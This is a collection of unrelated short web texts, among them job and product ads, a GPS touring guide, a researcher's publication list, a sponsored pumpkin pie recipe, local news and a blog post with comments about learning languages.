· TransForce Drivers are assigned to drive for major reputable transportation companies
· TransForce Drivers enjoy the unique ability to consider a change in assignment rather than a change in employment when situations change.
It's easy and convenient to apply on line and there are TransForce offices across the United States to call and arrange a meeting with a local representative. You will always be treated with honesty and respect. We look forward to hearing from you!YOU WILL BE PROUD TO BE ON THE TransForce TEAM!
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You would want to contact the router administrator. If you are the administrator, you would need to log in and find the all-important checkbox. You can reference the router manual for more details on where the checkbox might be.
On nearly ALL of the Cisco/Linksys SOHO routers, VPN Passthrough (IPSEC, PPTP and L2TP) are all on by default. That requires you to just fire up the router…
Register Hereor login if you are already a member


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"It takes a rather special link to make me reach for a double cuff shirt. But these ones might be just the ticket. Showcasing a magnificent mix of semi-precious stones and plated for a flawless finish, they should be reserved for the most special of occasions."
Semi precious stone mixed square metal cufflinks
"With our swivel back fastening, slipping on links has never been easier."
6 month quality guarantee
6 month quality guarantee
Express shipping available


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The hospitality program provides students with a global experience in the hospitality field, learning different cuisines, traditions and manners in the hospitality services industry. We can place you in many well-known restaurants or hotels for your internship.
Type of Internship: Hospitality Internships in Italy
Location: Milan, Rome, Turin. Others under request.
Standard tasks (may differ depending on the company):
Reception / Reservations
This position requires Italian language B2 level.
- Check guests in and out
- Basic concierge assistance
- Plan and organise group arrivals
- Assist in cash advances, exchange money, check guest folios
- Commercial information to customers
- Day to day processing and input of group reservations while following hotel reservations policy
- Maintaining a positive selling approach to maximise yield in both occupancy and rates
- Liaising with other departments to prepare for group arrival
- Assisting Front office with closing of accounts
- Answering all calls promptly in a courteous and efficient manner
- Ensuring all reservations are accurately actioned within the same working day
- Assisting in Front Office as required, especially with guest check in and check out
Food and bevarage or Kitchen
- Off-site Catering
- Serve the guests
- Take food and beverage orders
- Retrieve and serve alcoholic, non-alcoholic beverages and food orders to guest tables according to hotel specifications, courteously and efficiently.
- Collect payments
- Assist in the maintenance of the restaurant area and equipment.
Hospitality internships include stipends 250 – 400 € per month OR Accommodation plus food.
To apply download the Service Contract and follow the process!


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Setting up a GPS for Touring: Garmin Etrex Legend Hcx
Over the years I've had a few rides where I got myself into trouble by getting lost. Even when pre-planning and using a cue sheet, the directions either were incorrect or I wasn't reading them properly. It was very frustrating on a hot summer afternoon out in the middle of nowhere to not even know what direction I was headed in.
Carrying maps would be cumbersome because of the amount of territory many of my rides cover, combined with the amount of detail I need to find a lot of the backroads I typically ride on. GPS seemed to be the answer, but I held off for quite a while because of the cost.
Early in 2012, as Garmin was rolling out a new line of units, I picked up a used Legend Hcx with an SD card containing the full North American set, for a good price at the time. While this is an old model, I'd recommend it as a good base unit today since the prices continue to fall.
Initially, I wanted the GPS to guide me similar to a car unit, which it can do, but I wanted it to follow a pre-planned route that I had mapped out on a computer beforehand and then uploaded. You'd think this would be a no-brainer, but the basic problem is that you're coming up against the GPS's active routing features for what basically is a passive routing exercise. In the simplest terms, the GPS tries to out-think you and makes decisions counter to what you have planned.
This is a very good article that eventually set me straight on how to use the GPS. I abandoned Routing Mode, and switched to Track Mode. By pre-loading a Track, using a typical .gpx file, which is the standard output for most mapping software, I don't get turn by turn directions and wrong turn warnings, but I do get an accurate line that follows the route that I want to go, because the GPS is not trying to out-think me. For me, that's all I could ask for.
Initial mapping: I was using RidewithGPS.com even before I bought the unit. It is fairly intuitive, can be set to follow roads as I click along at intervals with the mouse, instantly provides distance and elevation data, can be edited on the fly, can print out a separate cue sheet, and can save planned rides to my account. While I can purchase an account to access various performance features, it's perfectly functional in the free version.
Uploading: Once the ride is mapped out, I export it to my laptop in the form of a .gpx track. That's no more than a set of points that overlay on a map, whether it's on a computer or on a GPS unit.


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Audre Lorde Quotes About CreativityQuotes about: Creativity
The speaking will get easier and easier. And you will find you have fallen in love with your own vision, which you may never have realized you had. And you will lose some friends and lovers, and realize you don't miss them. And new ones will find you and cherish you. And at last you'll know with surpassing certainty that only one thing is more frightening than speaking your truth. And that is not speaking.
For each of us as women, there is a dark place within, where hidden and growing our true spirit rises, beautiful and tough as chestnut stanchions against our nightmare of weakness. Within these deep places, each one of us holds an incredible reserve of creativity and power, of unexamined and unrecorded emotion and feeling
Advocating the mere tolerance of difference between women is the grossest reformism. it is a total denial of the creative function of difference in our lives. Difference must be not merely toleration, but seen as a fund of necessary polarities between which our creativity can spark like a dialectic. Only then does the necessity for interdependency become unthreatening. Only within the interdependency of different strengths, acknowledged and equal, can the power to seek new ways of being in the world generate, as well as the courage and sustenance to act where there are no charters
Audre Lorde
- Born: February 18, 1934
- Died: November 17, 1992
- Occupation: Writer
- Cite this Page: Citation


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Tea is said to invigorate and soothe, but it can get you quite emotional to the point a being misTEA-eyed. You know, that state where you feel that lump in your throat and are bursting with such happiness that yours eyes tear up ever so slightly. Yes, tea can evoke such a state of being. Honest!
Here's how to get misTEA-eyed:
Step 1 — Pick the Right Setting
Sure, you can grab a cuppa and gulp it on the go, but that's not going to give you the feeling you're seeking here. You need something to stir the heart and even the head. At home, it would be your dining room or even the living room or family room. Some of us are even so fortunate as to have a whole room devoted to tea. The main idea here is to decorate in a way that appeals to you. It could be overflowing with lace and pillows and flowers (fake or real) and shiny sparkly things like silver teapots or it could be your version of the Zombie Apocalypse. Ours happens to be a cross between Provence, Tuscany, and American Colonial (a style we call "Colonivenscany"). You can always opt for a teatime in some locale outside of your home, though. A favorite tearoom, a local park, even the food court at a shopping mall (yes, you can do it!). Whatever location suits your fancy and gives you a warm fuzzy feeling all over (and that allows food and drinks to be consumed there). I'd love to hang out at a special exhibit at an art museum, sitting in front of one of my favorite paintings and discreetly sipping my Alishan, but alas that is a no-no in most art museums.
Step 2 — Pick the Right Tea
Yes, there is a right tea — it's the tea that's right for you. No one can tell you which tea that is. Only you can know. I go on a lot about the travesty of adding various bits of this and that to lovely tea leaves. It just seems like such a waste, not being able to taste and appreciate the tea for all of the apple or apricot or cherry or pecan or mint or cinnamon flavors dominating. However, the popularity of flavored teas with things like these added is a testament to your varied tastes. So, select what appeals to your palate. You won't get that uplifting feeling from something you don't like. If you have been bold and explored some finer teas that can be steeped multiple times and whose flavors need some of your time and attention to fully appreciate, then by all means serve up one of them at this special teatime. Some Peony White Needle White Tea or Nine Bend Black Dragon Tea (a personal fave) have flavors best appreciated when sipping and that are sure to bring a bit of a tear to your eye.
Step 3 — Pick the Right Time
Lastly, be sure the time is right. No rushing around getting this or that done. No deadlines looming or villains to subdue. And postpone saving the world for an hour or two. This is "me time" where you get to focus on you. Some of us have very little of that. And when we do take a moment out for ourselves, we don't really get to enjoy it. Our minds are too full of the things we need to be doing. So, clear your mind, turn the clock toward the wall, steep your tea and enjoy. You deserve it!
If all of the above doesn't get you misTEA-eyed, well, start over at step one and see how it goes in a different setting with a different tea and a different time. Enjoy!
© Online Stores, Inc., and The English Tea Store Blog, 2009-2014. Unauthorized use and/or duplication of this material without express and written permission from this article's author and/or the blog's owner is strictly prohibited. Excerpts and links may be used, provided that full and clear credit is given to Online Stores, Inc., and The English Tea Store Blog with appropriate and specific direction to the original content.


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you'll often need to find guarantors who will receive equityand cosign the loan for you. "To give you X amount of dollars,generally, banks want to see three times that amount so thatthey feel like they're taking no risk," Hayman explains. "Basi-cally, you need to have a lot of money and know people witha lot of money!"For growing concepts to less than six units, David Barr,chairman of Your Pie, recommends finding a local lender work-ing with the SBA or seeking help from friends and family. Forfaster growth, however, a unique concept with the potentialfor national expansion might receive institutional money, suchas from a private equity firm. Meanwhile, he adds, the SBAWhen it comes to private investors, each deal will be madedifferently; they may want a percentage of interest, equity inthe company or a hybrid of the two, French says, and whatyou choose depends on what you're trying to accomplish and
(Left to right) Your Pie's founder raised the capital to open his first store through a family investor; Metro Pizza's latest location incorporated a full
bakery called Lulu's Bread & Breakfast.
Click to subscribe to this magazine


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I bookmark everything. If you're looking for parenting advice, tips on growing zucchini or how to make McDonald's signature sweet tea at home, I can help with that! One blog entry I recently added to my collection was "3 Utterly Obvious Ways to Build Wealth". In a nutshell, here's what Jeff Rose at Credit.com has to say about building wealth.
1. Say "NO" to Debt
Saying "no" to debt is truly a behavior at the heart of so many wealthy individuals. Why? It has something to do with interest rates. Student loans, credit cards, personal loans, car loans, and many other types of debt all have interest rates. Some of these rates are higher than others, but one thing is guaranteed: You will pay a lot more money than necessary if you make minimum payments on a loan, and the interest rates will slowly drain any wealth you do have.
2. Practice Discipline and Invest for the Long-Term
The media continually reports on this or that "new hot stock." Don't fall for it. We all know it's better to diversify your investments and not get carried away by the allure of quick wealth.
3. Stay Frugal
Remember, you can only build wealth by saving money, not spending it. Sure, you're going to have to spend some money, but you don't have to inflate your lifestyle. It's better to stay frugal, build wealth and have a firm financial position rather than squander your money on things that you really don't need – especially over the long-term.
If you're into bookmarking too, you may want to hang on to this one. It's a great read and certainly some great advice!


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This flash-mob-meets-white-party is a great way to put your DIY skills to use. Participants of the pop-up bring their own white tableware, decorations and meals to set up an extravagant dinner party at a secret location somewhere on Governors Island. The party, a benefit for the Friends of Governors Island, then switches from dinner to dancing. At the end of the night, guests clear all evidence of the event—leaving the park just as they found it.
+ Read More


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Heidi Welch
Research SummaryWe study molecular mechanisms that control the Rac protein family, which regulates cell shape, cell movement, oxygen radical formation and gene expression. In particular, we study the proteins that activate Rac, so-called Rac-GEFs. A few years ago, we discovered a new type of Rac-GEF, the P-Rex family, and we have been studying the mechanisms that regulate their activity and their functional roles.
We found that P-Rex family Rac-GEFs are important for the ability of our white blood cells to defend us against bacterial and fungal infections, for the shape and electrical functions of nerve cells that control the coordination of our movements, and for the distribution of skin pigment cells during development. We also participated in studies which showed that the deregulation of the cellular amount or activity of P-Rex family Rac-GEFs contribute to cancer growth and metastasis.
Currently, our lab is investigating new functional roles of P-Rex and other Rac-GEFs, particularly in inflammatory cells, and we are inventing new ways of monitoring Rac-GEF activity.
Latest Publications
Removing physiological motion from intravital and clinical functional imaging data.
Intravital microscopy can provide unique insights into the function of biological processes in a native context. However, physiological motion caused by peristalsis, respiration and the heartbeat can present a significant challenge, particularly for functional readouts such as fluorescence lifetime imaging (FLIM), which require longer acquisition times to obtain a quantitative readout. Here, we present and benchmark , a versatile multi-platform software tool for image-based correction of sample motion blurring in both time resolved and conventional laser scanning fluorescence microscopy data in two and three dimensions. We show that is able to resolve intravital FLIM-FRET images of intra-abdominal organs in murine models and NADH autofluorescence of human dermal tissue imaging subject to a wide range of physiological motions. Thus, can enable FLIM imaging in situations where a stable imaging platform is not always possible and rescue previously discarded quantitative imaging data.+ View Abstract
eLife, 7, 2050-084X, , 2018
Rac-GTPases and Rac-GEFs in neutrophil adhesion, migration and recruitment.
Rac-GTPases and their Rac-GEF activators play important roles in the recruitment and host defense functions of neutrophils. These proteins control the activation of adhesion molecules and the cytoskeletal dynamics that enable the adhesion, migration and tissue recruitment of neutrophils. They also regulate the effector functions that allow neutrophils to kill bacterial and fungal pathogens, and to clear debris. This review focusses on the roles of Rac-GTPases and Rac-GEFs in neutrophil adhesion, migration and recruitment. This article is protected by copyright. All rights reserved.+ View Abstract
European journal of clinical investigation, , 1365-2362, e12939, 2018
A RhoA-FRET Biosensor Mouse for Intravital Imaging in Normal Tissue Homeostasis and Disease Contexts.
The small GTPase RhoA is involved in a variety of fundamental processes in normal tissue. Spatiotemporal control of RhoA is thought to govern mechanosensing, growth, and motility of cells, while its deregulation is associated with disease development. Here, we describe the generation of a RhoA-fluorescence resonance energy transfer (FRET) biosensor mouse and its utility for monitoring real-time activity of RhoA in a variety of native tissues in vivo. We assess changes in RhoA activity during mechanosensing of osteocytes within the bone and during neutrophil migration. We also demonstrate spatiotemporal order of RhoA activity within crypt cells of the small intestine and during different stages of mammary gestation. Subsequently, we reveal co-option of RhoA activity in both invasive breast and pancreatic cancers, and we assess drug targeting in these disease settings, illustrating the potential for utilizing this mouse to study RhoA activity in vivo in real time.+ View Abstract
Cell reports, 21, 2211-1247, 274-288, 2017
Latest Publications
Removing physiological motion from intravital and clinical functional imaging data.
Warren SC, Nobis M, Magenau A
Rac-GTPases and Rac-GEFs in neutrophil adhesion, migration and recruitment.
Pantarelli C, Welch HCE
European journal of clinical investigation
1365-2362:e12939 (2018)
A RhoA-FRET Biosensor Mouse for Intravital Imaging in Normal Tissue Homeostasis and Disease Contexts.
Nobis M, Herrmann D, Warren SC
Cell reports
21 2211-1247:274-288 (2017)
Platelets in neutrophil recruitment to sites of inflammation.
Pitchford S, Pan D, Welch HC
Current opinion in hematology
1531-7048: (2016)
Truncating PREX2 mutations activate its GEF activity and alter gene expression regulation in NRAS-mutant melanoma.
Lissanu Deribe Y, Shi Y, Rai K
Proceedings of the National Academy of Sciences of the United States of America
1091-6490: (2016)
Norbin Stimulates the Catalytic Activity and Plasma Membrane Localization of the Guanine-Nucleotide Exchange Factor P-Rex1.
Pan D, Barber MA, Hornigold K
The Journal of biological chemistry
Small GTPases and their guanine-nucleotide exchange factors and GTPase-activating proteins in neutrophil recruitment.
Baker MJ, Pan D, Welch HC
Current opinion in hematology
23 1531-7048:44-54 (2016)
The dynamics of Rho GTPase signaling and implications for targeting cancer and the tumor microenvironment.
Pajic M, Herrmann D, Vennin C
Small GTPases
2154-1256:1-11 (2015)
Regulation and Function of P-Rex Family Rac-GEFs.
Welch HC
Small GTPases
2154-1256:0 (2015)
P-Rex and Vav Rac-GEFs in platelets control leukocyte recruitment to sites of inflammation.
Pan D, Amison RT, Riffo-Vasquez Y
1528-0020: (2014)
A rac1-independent role for p-rex1 in melanoblasts.
Lindsay CR, Li A, Faller W
The Journal of investigative dermatology
135 1523-1747:314-8 (2015)
P-Rex1 directly activates RhoG to regulate GPCR-driven Rac signalling and actin polarity in neutrophils.
G Damoulakis, L Gambardella, KL Rossman
Journal of cell science
127 Pt 11:2589-600 (2014)
DOI: 10.1242/jcs.153049


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Get Through the Holidays With Energy and Ease
The holidays are a season filled with highs and lows. Some days you want to sit back and relax next to a warm fire, and other times you need to be on your game – shopping, wrapping presents, traveling, and spending time with family. Here's how you can keep your energy up during this time of year using Isagenix!


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Making pumpkin pie and homemade ice cream from scratch might seem intimidating but actually it is a simple process when you have the right tools from KitchenAid!
Prepping ahead of time for Thanksgiving is an absolute necessity and getting desserts out of the way is one of the first things on my to-do lists.
We absolutely love ice cream and homemade of course is best. But at the holidays, when time is precious, I want something quicker than a recipe that requires me to stand over a stove cooking a custard base. When I discovered I could make cream cheese ice cream a few years ago, I was absolutely hooked!
For this year, I wanted to spruce it up a little bit, so I added some mascarpone cheese and just a hint of orange juice to really bring all the fall flavors into this dessert.
Let's get started.
It's really almost too easy. Just dump all your ingredients into your KitchenAid® Pro Line® Series Food Processor.
Set it to the High speed for the blades if your food processor has that setting.
And give it a good 15 seconds. I like to check it at this point and if it is still lumpy then I run it again for up to 30 seconds on low.
Pour the mixture into your KitchenAid® Ice Cream Maker Attachment (be sure to keep this stored in your freezer so it's always ready to go!).
And let it churn for 10-12 minutes.
It's impossible to keep everyone out of fresh ice cream in our house so be sure to let them lick the spatula afterwards.
Freeze it in a plastic tupperware container until it is solid or if you are running behind just eat it as soft serve.
Next up is the pumpkin pie! We love a good classic pumpkin pie but wondered if we could give it a bit of a twist by swapping out the sugar with maple syrup to give it a bit more complex flavor (and we always love eliminating processed sugars when it's an easy and tasty swap).
We love how they turned out! They have a subtle maple flavor without being overpoweringly headache-inducing sweet.
The first order of business when it comes to making a perfect pumpkin pie from scratch is to select the proper pumpkin.
You are looking for pumpkins labeled Pie Pumpkins or Sugar Pumpkins. They will be much smaller than your normal Jack-O-Lantern pumpkins. They are also superior in flavor and produce a smoother texture of puree. Roughly a 5-pound pie pumpkin is just the right size for two pumpkin pies.
Cut the pumpkin in half carefully with a sharp chef's knife and remove the stem. Remove all the seeds and scrape thoroughly to remove as much stringy filling as possible. I like to use a pair of kitchen shears to help remove the final bits of filling.
Roast for 60-70 minutes until the filling shows no resistance to a fork being pressed through it.
While the pumpkins are roasting it's time to think about making a perfect pie crust to go with the filling. We rely on the classic 3-2-1 ratio for pie crusts. 3 parts flour to 2 parts butter to 1 part water. The important thing to remember about this ratio is that it was created based on the weight system not our standard US measurement system. The best way to get consistently good pie crusts is to invest in a small kitchen scale and use it religiously.
If you don't have a kitchen scale thats okay too, just be sure you are properly measuring your flour. The right way to measure flour is to take a spoon and scoop flour up with the spoon before dumping it into your measuring cup. Directly dipping into the bag of flour with your measuring cup can result in more than an ounce more flour per cup! This can quickly throw your recipe off.
Start with the flour and butter. You want to keep the butter as cold as possible and we don't want to overwork the dough so we will use the pulse feature on our food processor.
Then we can add the water slowly. You want the dough to hold together like the photo on the right.
If your dough looks like the photo on the left, then it's a bit too dry.
Add water a tablespoon at a time until you reach the proper consistency.
Divide the dough in two and wrap them in plastic cling wrap. Let them rest in the refrigerator for at least 15 minutes and up to 2 days.
Now that your crusts are chilling let's check on our pumpkins. They should be getting nice and roasted at this point. Pull them out and let them cool enough to handle them. Remove the skin, overly browned parts and dried out pumpkin. Scoop the flesh out into your KitchenAid® Food Processor.
Puree on high until it is nice and creamy.
Although we talked about only using pie pumpkins because of their superior flavor and texture I have to tell you, I do occasionally use larger, regular pumpkins in their place. It won't leave quite as sweet of an after taste and if you don't have a high-speed food processor it can end up a little stringy.
But since I started working with the KitchenAid® 16-Cup Food Processor, I have had no problems getting the puree smooth. I love doing this with our big pumpkins once I have tired of them as fall decorations. We don't mind our pies a little less sweet so I don't increase the sweeteners, but you certainly could if you wanted to.
Measure out 3 1/2 cups of the puree and dump all the filling ingredients in one big bowl. Give it a quick mixing. Easy as pie.
Remove the crusts from the refrigerator and roll them out. Then, line each pie plate with dough. Trim the edges down to 1/2 inch around the edges of the pie pans.
Gently roll the crust underneath itself to form a rope of sorts all the way around the pie plate.
Then comes my favorite part! Fluting the edges makes pie crusts look so classy and fancy and its super easy to do. Just take your thumb and middle or index finger and form a V shape. Use your opposite hand's pointer finger to gently press in the ridges to form V's all the way around the edges.
If you can't get your fingers coordinated enough, using a fork to press the edges is also a great look.
Perfect! Fill them up with equal amounts of the filling and pop them in the oven!
If you like the beautiful golden brown edges on your crust, you can brush it with a bit of whisked egg and then sprinkle a bit of coarse sugar on for a satisfying crunch. I like to do this at the same time I turn the oven down after the first 20 minutes of baking.
We are almost done! While the pies are baking you can whip up a batch of our Maple Whipped Cream in your KitchenAid® Stand Mixer.
Not only is whipped cream a classic with pumpkin pie but it's also part of my secret arsenal kit for mishaps. It's pretty common to see a homemade pumpkin pie pulling away from the crust resulting in a rather unattractive canyon.
If this happens I don't panic, I just sneakily pipe on a bit of whipped cream around the edges and no one is the wiser.
But no matter how you decorate it, a homemade pumpkin pie is a true labor of love. Don't stress if it doesn't look picture perfect in some way, it's guaranteed to taste delicious.
For more great pie tips be sure to check out Kelly Senyei's 10 Tips for Perfect Homemade Pies.
Pumpkin Pie From Scratch
Makes 2 9-inch pies
For flaky pie crust
15 ounces flour
10 ounces cold salted butter
5 ounces water, chilled with ice (plus extra reserved)
1 tablespoon sugar (optional)
1 egg, whisked
Coarse sugar
For pie
1 batch flaky pie crust (above)
1 (5-pound) pie pumpkin or sugar pumpkin (3 1/2 cups of puree)
3/4 cup buttermilk
1 cup maple syrup
3 large eggs (or 4 medium)
1 tablespoon vanilla extract
2 1/2 teaspoons cinnamon
1/8 teaspoon cloves
1/4 teaspoon ginger
1/2 teaspoon nutmeg
Pinch of salt
For maple whipped cream
2 cups heavy cream
1/2 cup maple syrup
For flaky pie crust
In a KitchenAid® Pro Line® Series Food Processor bowl, combine flour and sugar (if using).
Cut butter into thin slices and add to the bowl. Pulse food processor until butter is in a variety of sizes, from a small pea up to the size of half of a walnut.
Add ice water (do not add ice) slowly while pulsing. Continue adding up to a 1/4 cup more, one tablespoon at a time, pulsing 1-2 times quickly after each addition. (I usually use about 2 tablespoons more)
Wrap in cling wrap and place in refrigerator for at least 15 minutes and up to 2 days ahead of time.
Bake according to recipe directions.
For pumpkin
Preheat oven to 400 degrees.
Cut pumpkin in half and remove stem, seeds, and strings.
Place on rimmed cookie sheet and drizzle with olive oil.
Roast until a fork has no resistance entering the flesh, about 60-70 minutes. Cool and remove skin, charred bits and any dried out portions. Add pumpkin to food processor and process on high until completely smooth. Measure out 3 1/2 cups for the pies and reserve remaining puree for other recipes.
For pie
Preheat oven to 425 degrees.
Cut crust in half and roll out both crusts on a floured surface and then transfer to pie plates. Trim edges to 1/2 inch and roll crust edges under itself. Flute or finish edges to desired level.
In a large bowl, combine all filling ingredients. Stir gently until completely combined.
Fill both crusts with filling.
Bake at 425 degrees for 20 minutes on the center rack. Place a cookie sheet underneath on a lower rack to catch any butter drips and help prevent smoking.
Reduce heat to 375. If desired, whisk an egg and gently brush the crust edges with egg, finish with a sprinkling of coarse sugar.
Bake for 30-40 additional minutes, until center is set and a sharp knife inserted comes out clean. You may need to use foil protectors to keep crust from burning.
Cool completely. Serve with ice cream and whipped cream.
For maple whipped cream
Combine both ingredients in a KitchenAid® Stand Mixer and fit whisk attachment on. Whip on high until stiff peaks are formed.
Can be made up to 1 day ahead of time.
Mascarpone Cream Cheese Ice Cream
Makes 1 quart
8 ounces cream cheese, softened
8 ounces mascarpone cheese, softened
2 cups milk
2 1/2 tablespoons freshly squeezed orange or tangerine juice
1 1/2 cup sugar
1 cup heavy cream
2 tablespoons vanilla extract
Two pinches of salt
Combine all ingredients in a KitchenAid® Pro Line® Series Food Processor. Process on high for 15 seconds. Check for lumps and if needed process for 30 seconds on low.
Pour into KitchenAid® Ice Cream Maker Attachment and churn for 10 minutes.
Freeze in tupperware until solid (2-3 hours minimum, preferably overnight).
Serve with pie.
For more Food Processor recipes, click here for our eRecipe book.
*The Contributor of this post has been compensated by KitchenAid for this post, but this post represents the Contributor's own opinion.*


text:
This book is listed in:
- Business & Economics ( 2,713 )
The Book of Agreement
Book Description
Crafting agreements with others is a fundamental life skill. Unfortunately, we were never taught how to do it. The agreements most people make are incomplete and ineffective-they usually focus on protecting against what might go wrong instead of figuring out how to make things go right. The Book of Agreement offers a new approach. Stewart Levine demonstrates the superiority of "agreements for results" versus "agreements for protection" and outlines ten principles for creating agreements that explicitly articulate desired outcomes and provide a roadmap to achieving them. He includes over thirty specific templates that can be used to create this new type of agreement for results in a variety of organizational and personal contexts.
- Hardcover: 250 pages |
- Publisher: Berrett-Koehler Publishers |
- Publication date: Nov 10, 2002 |
- Language: English |
- Format: Ebook


text:
Superior MicroPowders: Low-fire Pastes
October 17, 2001
Superior MicroPowders, LLC (SMP) recently launched a new series of low-fire electronic pastes at the International Microelectroncis & Advanced Packaging Society (IMAPS) Meeting and Exhibition in Baltimore, Md. SMP has developed a unique class of conductor, resistor and dielectric pastes for electronic applications. These materials are designed to fire at extremely low temperatures (less than 300C), unlike more traditional materials used throughout the industry. The ability of these pastes to fire at low temperature enables the use of less expensive polymeric substrates and a wider variety of glass and ceramic-based substrates, as well as increased processing flexibility. Furthermore, many of these low-fire formulations have been designed for fine line printing by both traditional screen-printing methods, as well as more advanced digital methods such as micro-syringe and ink-jet printing, and have been shown to deposit features as fine as 1 mil.
For additional information, call (505) 342-1492, fax (505) 342-2168, e-mail firstname.lastname@example.com or visit http://www.smpl.com.


text:
- Lakeville Journal
- Millerton News
- Compass A&E
- Obituaries
- Classifieds
- Regional
- Special Sections
- TriCorner Real Estate
Kent mill rate expected to stay steady despite rise in costs
KENT — About 40 Kent residents gathered at Town Hall on Friday, May 3, for the annual budget public hearing.
"The good news is that there is no plan to raise the mill rate this year," said Board of Finance member Ed Epstein. The town anticipates it will remain at 18.61 despite an increase of 7.6% in the municipal budget.
"The increase is mainly due to staffing changes, utility costs, litigation expenses, equipment maintenance and police protection," explained First Selectman Bruce Adams.


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My Lameness at Languages
// June 14th, 2008 // Blog
Wouldn't it be wonderful to be multi-lingual? One of my never-going-to-happen-without-a-miracle fantasies is to be able to speak and understand the language of any person that I meet. If I was an X-woman, I'd be Lingo – woman of a thousand tongues!
Okay, that was only super-lame.
My mother is blessed in that sense, māshā'Allāh. Other than being fluent in English and her native tongue(s) of Hindi/Urdu and Gujarati, she also knows enough Arabic to get by abroad (she picked it up in Somalia and Aden way before I was born), and a teeny bit of Persian (from her school days). How cool is that?
Whereas I am only fluent in English – and even then I have my moments. I spent years learning French and Latin (yes, Latin!), only to forget it all the moment I graduated from secondary school. A couple of years ago, I spent several months learning Arabic – at least to beginner level. Once again, all forgotten. How pathetic is that?
With my brain, you either use it, or LOSE IT. And I have lost it completely! Ahem…
The following is a list of languages that I'd like to be at least semi-fluent in before I die, inshā'Allāh:
- Arabic: to develop a better appreciation of the sacred texts.
- Hindi: my other mother tongue; so it's kind of a "must learn".
- Gujarati: this is probably more my "other mother" than Hindi; but as it is far less spoken, I personally feel that Hindi is a greater priority. Plus Hindi is very similar to Urdu, which means it would be a two-for-one deal – bargain!
- Sign – I would LOVE to learn sign language! In fact, I just begged a friend of mine to sign up to this online BSL course I found tonight. I have no idea if it is any good… if we sign up, I'll write a review, inshā'Allāh.
It would be great to re-learn French, but considering how long my existing list is, I'd be pushing it. Mandarin would also be useful…
Pah! Who am I kidding?!
17 Responses to "My Lameness at Languages"
I have been making an effort to learn more languages.
I have picked up a few Polish words just for the fun of it from a Polish coworker. Migdaty means almonds. Apparently it's one of the hardest languages in the world to learn for an English speaker, and that has become quite evident to me.
One of Batman's impressive skills is multilingualism, so it's not a lame power. He combines this with his wealth and technology, intellect, fighting ability and interrogation techniques. Maybe multilingualism mixed with an ability to impersonate any voice, I could imagine a mutant named Echo (maybe a Morlock).
If I was an X-woman, I'd be Lingo – woman of a thousand tongues!
As for me, I've never been any great hand at languages… dropped French in grade 7 when the grammar got too annoying; spent 2 years doing beginner's-level of Arabic but ended up focusing on more grammar than conversational Arabic (mind you, I can still bungle my way through the first couple phrases of an introductory conversation); and my Gujarati is pretty lame (ranks just below my Arabic).
Mind you, hubby and MiL have already firmly let me know that I have no choice but to learn Arabic – both fus_ha (Qur'anic Arabic, the pure stuff), as well as Egyptian (which apparently is a whole 'nother dialect on its own!).
Not that I'm not willing to learn, but it just takes so LONG… and then there will be the inevitable embarrassing mistakes I'm going to make, which I hate!
I know Farsi (all dialects), English, Gilaki (a language in north of Iran), Arabic, alittle turkish..
I started to learn Italian and Russian one upon time and i know alittle of them too.
Anyway among them just Farsi, english and Arabic really are usefull for me..
There's more than one version of sign language though, you wouldn't necessarily be internationally understood if you learned one system.
I was quite disappointed when I tried to use the little I learnt as a kid (in cub scouts, I got some badge for it) when I got over here and found that the American system (Saudis love American stuff) has a totally different alphabet from the British one I'd memorised.
But I cheered up when I was shown the sign for WC and reflected upon how Tupac Shakur may have been misunderstood all these years and had actually been signing to his photographer that he needed to take a toilet break; rather than "throwing up" a gang sign as is often assumed.
I used to be very good at Arabic when I was younger. Reading novels was easy (I think I was 10 that time), and I used to beg my mother to buy books when she went shopping. We lived in Egypt short period, and it was remarkable too see books anywhere in the marked, and almost every corner you would find book shops.
Egypt is not the right place to bring up a child. It is very competitive country, and it is normal to read in the news, during exam times, kids commit suicide :(
I need to learn how to speak Arabic! We're learning it in high school and it is soooo hard! We have an end-of-year Arabic exam on Monday too and I'm going to dieeeeeeeeeeeeeeee!
lol, I wanted to write a post on languages too! I know how you feel. I'm pretty much the same way. Even though I can fully understand Urdu and Punjabi, I can hardly speak them fluently (especially Punjabi!) I'm only fluent in English.
I know more Arabic than the average person, but I haven't picked up on it in a while. My mother was born in Qatar and she grew up there, so she USED TO BE fluent in it, but now it takes her a while to pick up on words. Whenever she's around Arabic speaking people, the words come back to her.
I know some Farsi too, probably a little more than Arabic. It's actually quite easier for us South Asians to learn Farsi since it is very close to Urdu. There are also NO MASCULINE and FEMININE words!
I took three semesters of Italian and I used to be really good at it, but then I didn't have anyone to practice it with.. so it's pretty much all forgotten :( I want to spend more time brushing up on my Urdu and I really want to learn Punjabi.. along with Arabic and Farsi, lol. I told myself that I want to learn more Arabic before I go on my next Hajj, insha'Allah. The sad thing is that my pronunciation in Arabic and Farsi is better than my Urdu pronunciation :(
I plan to change that!
It's kinda sad that I have spent so many years studying and working alongside people of different nationalities: Finnish, French, Russian, Nigerian… etc etc… and I never once bothered to ask them to teach me any of their language. :(
Oh, my friend agreed to learn BSL with me, insha'Allah! Yey! Abu Ilyas, I know it's not the same as ASL, but seeing as I live in the UK, it makes more sense to start with BSL. :)
Btw, I have no idea about the "throwing up" sign thing…? Is that the one where someone points their index finger towards their open mouth?
Your explanation is much better but this sort of thing.
My knowledge of BSL is very limited but I admire that you're intending to learn it. May Allah grant you success.
I know how to sign the BSL alphabet; say "please" and "thank you"; the words for "tree" and "baby"; and some swearwords (that involve using more than two fingers) that I learnt when I saw Children of a Lesser God as a kid.
It's surprising how many times in your life being able to say "Please can I have a tree for my baby you *$£&$%^ *$^!@&?" isn't of much use.
But seriously, the "please" and "thank you" bit I've used a lot and I've spelt directions to someone before. It made me feel warm inside.
Okay, so now I get it… I had that image in my mind (but not your hilarious mock up version – I missed those!). Does "throwing up" not mean vomiting in this case, but rather a "big up to ma homies" type thing? I am so not a gangsta.
I also hope to feel warm inside, insha'Allah… plus, one bonus of learning sign with this particular friend is that we can now communicate whilst travelling on the Central Line, between Liverpool St and Bank station. The background noise is so loud through the tunnel, we always have to pause our convos at that point of the journey. Not any more! ;)
You are kidding only yourself. I, too, have had a deep desire to learn Arabic, and I quit after ten years of study and achieving semi-fluency.
Another ten years passed, during which I did not lose the desire to study this language, so I took it up again. I told my kids, whose native language is Arabic, that they'd better help me this time, and I didn't care if I made a fool of myself.
Wonder of wonders, they now respect me in this endeavor. When they were young, they did not encourage or help me at all. (I guess they liked being able to keep secrets from Mom!)
I'd love to learn farsi properly instead of knowing the odd few words and Arabic to get by abroad. Aside from that, perhaps French and Spanish. I suck at learning languages :(
